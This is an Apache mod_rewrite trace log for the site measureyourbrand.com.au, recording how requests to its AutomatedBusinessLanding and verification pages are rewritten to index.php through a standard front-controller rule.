[Mon Nov 10 18:39:31.927835 2025] [rewrite:trace2] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927858 2025] [rewrite:trace1] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:34.035683 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035779 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035792 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035811 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035833 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035847 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035857 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035869 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035888 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035924 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.035944 2025] [rewrite:trace1] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814053a60/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036086 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036102 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036112 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036124 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036136 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036146 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036161 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036192 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036211 2025] [rewrite:trace1] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814019400/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036519 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036568 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036596 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036608 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036634 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036661 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036675 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036714 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036729 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036746 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:34.036768 2025] [rewrite:trace1] [pid 9710:tid 9720] mod_rewrite.c(505): [client 192.42.116.215:11679] 192.42.116.215 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140ffdb0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:20.196530 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196590 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196609 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196638 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196653 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196663 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196685 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196698 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196708 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196725 2025] [rewrite:trace1] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c01f920/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196900 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196918 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196928 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196940 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196950 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196965 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.196986 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.197000 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.197009 2025] [rewrite:trace1] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0c8b88/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.199901 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.199958 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200031 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200031 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200056 2025] [rewrite:trace4] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200056 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200069 2025] [rewrite:trace3] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200081 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200092 2025] [rewrite:trace2] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:20.200102 2025] [rewrite:trace1] [pid 10209:tid 10223] mod_rewrite.c(505): [client 37.114.50.27:53302] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff55c0d1cf0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:40:22.196632 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196699 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196710 2025] [rewrite:trace3] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196727 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:40:22.196746 2025] [rewrite:trace4] [pid 10210:tid 10246] mod_rewrite.c(505): [client 37.114.50.27:53310] 37.114.50.27 - - [measureyourbrand.com.au/sid#22bdf3e8][rid#7ff584187c20/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
